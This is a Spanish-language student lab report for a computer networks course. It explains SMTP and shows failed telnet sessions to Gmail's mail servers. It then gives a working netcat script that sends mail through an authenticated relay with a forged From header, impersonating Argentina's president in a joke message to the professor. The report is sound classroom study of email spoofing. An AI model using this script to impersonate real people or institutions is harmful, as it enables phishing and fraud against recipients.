Redes de Computadoras 2021 TP2 Teórico: SMTP Spoof

Alumnos:

Nehemias Mercau Nievas (<u>nehemias.mercau@mi.unc.edu.ar</u>) Tomás Martín (<u>tomas.martin@mi.unc.edu.ar</u>) 10 de Mayo, 2021

Objetivos

• Enviar un mail a dbritos@gmail.com con un remitente ficticio, utilizando SMTP.

Consigna

Mandar mail usando SMTP

Desarrollo

El SMTP (Simple Mail Transfer Protocol) es un protocolo de comunicación que permite el envío de correos electrónicos en internet.

El protocolo se asocia normalmente con otros como POP3 o IMAP, siendo SMTP utilizado para el correo de salida y POP3 o IMAP utilizado para el correo entrante.

Los puertos utilizados por el protocolo son:

- Puerto 25: Se sigue utilizando como puerto de retransmisión de SMTP. En la mayoría de los casos, los clientes SMTP actuales (Outlook, Mail, Thunderbird, etc.) no deberían utilizar este puerto. Normalmente es bloqueado por los ISP y proveedores de Hosting en la Nube, para frenar la cantidad de spam que es transmitido.
- Puerto 465: Es un puerto que no se debería utilizar para comunicaciones SMTP, ya que IANA lo asignó a otro servicio.
- Puerto 587: Este es el puerto por defecto para email. El cliente de mail o un servidor, cuando debe enviar un mail para que lo enrute un servidor de correo, siempre debe usar el puerto SMTP 587 como puerto predeterminado. El puerto cuenta con encriptación TLS, que asegura que el email es enviado de manera segura y siguiendo las pautas establecidas por el IETF.

Para el caso de la actividad, realizamos lo mostrado en clase, intentando conectarnos a los servidores de correo del google:

```
nehemias@nehemias-VirtualBox: ~
nehemias@nehemias-VirtualBox:~$ host google.com
google.com has address 216.58.202.46
google.com has IPv6 address 2800:3f0:4002:809::200e
google.com mail is handled by 20 alt1.aspmx.l.google.com.
google.com mail is handled by 10 aspmx.l.google.com.
google.com mail is handled by 50 alt4.aspmx.l.google.com.
google.com mail is handled by 40 alt3.aspmx.l.google.com.
google.com mail is handled by 30 alt2.aspmx.l.google.com.
nehemias@nehemias-VirtualBox:~$ telnet alt4.aspmx.l.google.com
Trying 142.250.150.27...
^C
nehemias@nehemias-VirtualBox:~$ telnet alt4.aspmx.l.google.com 25
Trying 142.250.150.27...
Connected to alt4.aspmx.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP x9si7353152ljh.300 - gsmtp
```

```
irtualBox:~$ telnet alt4.aspmx.l.google.com 25
Trying 142.250.150.27...
Connected to alt4.aspmx.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP o3si7650517lfr.406 - gsmtp
ehlo nehemias-VirtualBox
250-mx.google.com at your service, [181.165.196.137]
250-SIZE 157286400
250-8BITMIME
250-STARTTLS
250-ENHANCEDSTATUSCODES
 250-PIPELINING
250-CHUNKING
 250 SMTPUTF8
 mail from: <mercau.nehemias@gmail.com>
 250 2.1.0 OK o3si7650517lfr.406 - gsmtp
 cpt to: <distribuidora.software@gmail.com>
250 2.1.5 OK o3si7650517lfr.406 - gsmtp
data
354 Go ahead o3si7650517lfr.406 - gsmtp
Esto es un mensaje de prueba
421-4.7.0 [181.165.196.137
                                            15] Our system has detected that this message is
421-4.7.0 suspicious due to the very low reputation of the sending IP address.
421-4.7.0 To protect our users from spam, mail sent from your IP address has
421-4.7.0 been temporarily rate limited. Please visit
421 4.7.0 https://support.google.com/mail/answer/188131 for more information. o3si7650517lfr.406 - gsmtp
Connection closed by foreign host.
```

Intentamos con distintos servidores de correo:

List of common SMTP Servers:

- AOL smtp.aol.com
- · Adelphia smtp.blk.adelphia.net
- AT&T mailhost.worldnet.att.net
- Charter Communications smtp.charter.net
- Comcast smtp.comcast.net
- Netzero smtp.netzero.net
- PacBell mail.pacbell.net
- PeoplePC mail.peoplepc.com
- Verizon outgoing.verizon.net
- Yahoo smtp.mail.yahoo.com
- Juno smtp.juno.com
- · SprintPCS smtp.sprintpcs.com
- SpeakEasy mail.speakeasy.net

Como no pudimos enviar un correo de esta forma, ya que siempre los servidores o nos bloquean la IP o no nos permitían estar establecer conexión, o nos exigían autenticación (en la mayoría de los casos), decidimos utilizar SMTP2GO:

https://gist.github.com/trimkadriu/f989c73f50479a290c203146f3df2033

Realizamos un Email Spoofing con el siguiente script:

```
mail_server_ip="mail.smtp2go.com"

mail_server_port="2525"

mail_server_username="mi.unc.edu.ar"

mail_server_password="******"

mail_server_legit_email="noreply@smtp2go.com"

email_recipient="dbritos@gmail.com"

email_sender_email="presidente.nacion@presidencia.gob.ar"
```

```
email_sender_name="Alberto Fernandez"
email_subject="¡RECONOCIMIENTO! [FCEFYN - Redes de Computadoras]"
email_body="Estamos felices de enviarle este reconocimiento a su trayectoria, como Titular de la
Cátedra de Redes de Computadoras de la Carrera [Ingeniería en Computación]. Gracias a los
alumnos Tomas Martin y Nehemias Mercau, le hacemos llegar este bono de $ (Pesos) 10.000.000
en reconocimiento a su gran esfuerzo en todos estos años."
nc ${mail_server_ip} ${mail_server_port} << EOF</pre>
ehlo
auth login
$(printf "$mail_server_username" | base64)
$(printf "$mail_server_password" | base64)
mail from:${mail_server_legit_email}
rcpt to:${email_recipient}
data
From:${email_sender_name}<${email_sender_email}>
To:${email_recipient}
subject:${email_subject}
${email_body}
quit
EOF
```

¡RECONOCIMIENTO! [FCEFYN - Redes de Computadoras] ∑ Recibidos x





Alberto Fernandez presidencia.nacion@presidencia.gob.ar <u>a través de</u> smtpservice.net

11:45 (hace 15 minutos)



Estamos felices de enviarle este reconocimiento a su trayectoria, como Titular de la Cátedra de Redes de Computadoras de la Carrera [Ingeniería en Computación]. Gracias a los alumnos Tomas Martin y Nehemias Mercau, le hacemos llegar este bono de \$ (Pesos) 10.000.000 en reconocimiento a su gran esfuezo en todos estos años.

